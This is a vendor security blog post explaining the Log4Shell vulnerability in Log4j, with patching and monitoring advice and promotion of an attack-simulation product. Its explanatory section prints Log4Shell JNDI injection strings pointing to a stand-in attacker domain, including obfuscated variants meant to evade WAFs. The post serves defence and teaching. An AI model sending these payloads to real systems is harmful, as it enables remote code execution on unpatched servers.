Validate Your Cyberdefenses against Log4Shell with MITRE ATT&CK®

Written by Jonathan Reiber, Andrew “AC” Costis, and Adam Moore

Whenever a new vulnerability is discovered in the wild, security teams must work overtime to try to patch it and mitigate the risks it has introduced. The new Log4Shell vulnerability that emerged on December 9, 2021, has significantly disrupted normal cyberdefense operations and forced teams to understand the impact of the exploit. New information is being published hourly to help with hunting and to understand indicators of compromise. Given the severity of the vulnerability, the Director of CISA, Jen Easterly, released a statement stating that the vulnerability “presents an urgent challenge to network defenders” and directed the public and private sectors to work diligently to mitigate the vulnerability.

This article focuses on helping organizations to assess the effectiveness of their compensating controls, enable a threat-informed defense with breach and attack simulation plus the MITRE ATT&CK framework, and interdict the adversary post-breach to drive down risk.

Specifically in response to this vulnerability, AttackIQ has developed a new scenario to help you validate your cyberdefense effectiveness in the face of Log4Shell. You can run emulations using the AttackIQ Security Optimization Platform, Anatomic Engine, and Network Control Validation module to test your cyberdefense capabilities against tactics that the adversary may employ.

What We Know About Log4Shell and How It Works

Let’s start with what we know about the Log4Shell. Log4j is an open-source Java logging framework found in Apache and many other software applications and frameworks. It acts as a logging framework that allows applications to log various data points depending on what function the application performs and what data needs to be captured.

Log4j was found to be vulnerable to a critical vulnerability, filed through the MITRE Common Vulnerabilities and Exposure list as CVE-2021-44228 and referred to as Log4Shell, and ranked with the highest possible Common Vulnerability Scoring System (CVSS) severity rating. Log4Shell enables unauthenticated remote code execution (RCE) on any client or server that is running vulnerable versions of Log4j. Log4j versions from 2.0-beta9 to 2.14.1 are affected by this vulnerability, and the vulnerability is triggered by sending a specifically crafted input string from an untrusted source, which leads Log4j to perform a lookup and then execute arbitrary code using the Java Naming and Directory Interface (JNDI).

While the Apache team has released a patch for the Log4j vulnerability, many software vendors are already impacted due to the degree in which Log4j is embedded into their software stack. A simple example of how an attacker might perform this attack is shown below.

The string contains an attacker-controlled domain name or resource that will be executed during runtime. This string can be included in the User-Agent header or part of a HTTP POST request, as an example.

${jndi:ldap://adversary.com/attack}

The input string can be further obfuscated using an encoding scheme such as base64. It is important to note that there are likely numerous ways of encoding input to try and bypass WAF and other security controls.

${jndi:ldap://adversary.com/base64_encoded_string}

Obfuscation can also be applied to the schema as well.

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://adversary.com/attack}

This is a “spray and pray” attack, and early indications of active scanning by cyber threat actors have already been reported by security vendors and independent researchers. Vendors impacted by Log4Shell include Tesla, Elastic, VMware, Splunk, Cisco, as well as Apache applications (e.g., Solr, Struts, Druid, Swift). Initial reports suggest that most scans were using LDAP, but DNS and RMI (Remote Method Invocation) and have been seen in the wild on a smaller scale.

Steps to Mitigating the Risks of Log4Shell

The following steps should be taken concurrently to ensure that your cyberdefenses perform as intended. Specific steps for automated security control validation processes are outlined below.

Step 1: Patching the Vulnerability

The first step for your security team to take is to patch the vulnerability. Log4j versions from 2.0-beta9 to 2.14.1 are affected by this vulnerability. In all instances the Log4j patch should be applied immediately to update vulnerable versions to version 2.15.0 or later. In more complex environments this may not be possible, in which case the following mitigation recommendations made by Apache are as follows:

• In releases >=2.10, this behaviour can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
• For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m. For releases >=2.0-beta9 and <=2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
• Verify that the setting sun.jndi.rmi.object.trustURLCodebase is set to false. Additionally, the security for the settings for allowedJndiProtocols, allowedLdapHosts, and allowedLdapClasses should also be reviewed

For AttackIQ Customers, AttackIQ scanned our own infrastructure in search of the vulnerability and found none. Since Java is not in our stack, our code was not affected. We have also refined our security infrastructure to block malicious behaviours.

Step 2: Monitoring and Vulnerability Management

Once you have patched Log4Shell, we recommend  monitoring malicious behaviour:

• Monitor for the existence of known IP addresses and/or domain names (a curated GitHub repository containing IOCs can be found here);
• Deploy any available Log4j network IDS, IPS, WAF and NGFW based rules;
• Monitor log files for existence of artifacts that pertain to LDAP, RMI and DNS via the Log4j input strings;
• Monitor/block outbound LDAP traffic if possible;
• Monitor for suspicious/malicious HTTP input fields e.g., User Agent, POST;
• Monitor for further post-breach attack chain ATT&CK techniques, such as enumeration, lateral movement, C2 and exfiltration;
• Use tools such as grep/egrep along with RegEx to search for vulnerability related activity within log files; and
• Work with vendors who you have partnerships with to further understand their impact and mitigation steps.

Step 3: Validate Your Compensating Controls with MITRE ATT&CK and AttackIQ 

When a new vulnerability is discovered and as patching is ongoing, security teams should take three steps to validate their security effectiveness:

1. Focus on your high-value assets and the defences you have aligned to those assets;
2. Validate your defence effectiveness by testing them against your most-likely threat actors;
3. Evaluate whether your key compensating controls are working as intended against key tactics (i.e., privilege escalation, lateral movement) and whether you need to adjust or new investments to defend your organization.

To achieve these goals, AttackIQ developed a new scenario for all AttackIQ customers to use. It sends a web request using a specific string contained in the User-Agent header parameter of a HTTP request. The string used within the scenario contains a benign URL pointing to localhost. The goal of running this scenario is not to exploit the vulnerability, but to test and validate any network security control that rejects or blocks the web request containing a Log4Shell payload.

How to Emulate the Adversary with Specificity to Improve Security

While the Log4Shell vulnerability is new, history shows how adversaries use post-breach ATT&CK tactics, techniques, and procedures (TTPs) to extend the point of breach initial attack. Microsoft has observed activities including but not limited to installing coin miners, using Cobalt Strike for credential theft and lateral movement, and exfiltrating data from compromised systems. Other TTPs might include downloading and executing web shells, creating persistence on the compromised machine, performing reconnaissance of the internal domain and network, and potentially executing malicious software such as ransomware.

AttackIQ has multiple ways of testing post-compromise TTPs using the AttackIQ Security Optimization Platform and by replaying malicious traffic through the AttackIQ Network Control Validation module. In the days and weeks that follow this recent discovery, it is critical that you test and validate your security controls in production and see how they perform at scale. As numerous vendors apply patches to their own tools, you need to test your organisation for post-breach adversary behaviour regularly because Log4Shell can target both client and server infrastructure.

Building an Attack Flow with the AttackIQ Anatomic Engine

In the example below, we show how you can easily chain together key TTPs using an Attack Flow in the AttackIQ Security Optimization Platform.  In using the Anatomic Engine to run an attack flow, you can build collaboration between your red, blue, and purple teams to understand how an attacker might target your organisation, and what steps they take might take after a successful exploitation of Log4Shell. The below example captures some of the known tactics, techniques, and procedures that different threat actors use today in conjunction with Log4Shell to gain entry to vulnerable systems. It has been observed that after successful exploitation, some threat actors download Cobalt Strike to a compromised host, execute a coin miner, and create a persistence method through the Windows Registry.

Conclusion

Managing a new exploit like Log4Shell taxes security and incident response teams immensely. At AttackIQ, we’ve got your six and are ready to help you build a threat-informed defense with the MITRE ATT&CK framework and automated security control validation:

1. AttackIQ Vanguard. To improve your cyberdefense effectiveness today, you can sign up for AttackIQ Vanguard, our managed security control validation service, to emulate the adversary and validate security control effectiveness. Our team of security practitioners is on hand 24/7 to help you test your compensating controls continuously.
2. MITRE ATT&CK Framework. Beyond the challenge of today, security teams need a way to improve their defense effectiveness by prioritizing which vulnerabilities to close. AttackIQ has worked closely with its research partners at MITRE Engenuity’s Center for Threat-Informed Defense to align risk and threat management by combining MITRE’s CVE framework with the MITRE ATT&CK framework. This new mapping will help you prioritize the vulnerabilities that matter most and elevate your security performance through continuous testing, using MITRE ATT&CK as a basis. Download our new CISO’s Guide to Better Vulnerability Management Using MITRE ATT&CK.
3. Webinar. To learn more how to apply a threat-informed defense and exercise your compensating controls to mitigate the risks posed by Log4Shell and other vulnerabilities, join our live webinar on this topic on December 15, 2021, at 10.00 hrs PT and 13.00 hrs ET and 18.00 hrs GMT. Click here to register.

The post Validate Your Cyberdefenses against Log4Shell with MITRE ATT&CK® appeared first on AttackIQ.

*** This is a Security Bloggers Network syndicated blog from Blog – AttackIQ authored by Jonathan Reiber. Read the original post at: https://attackiq.com/2021/12/13/validate-your-cyberdefenses-against-log4shell-with-mitre-attack/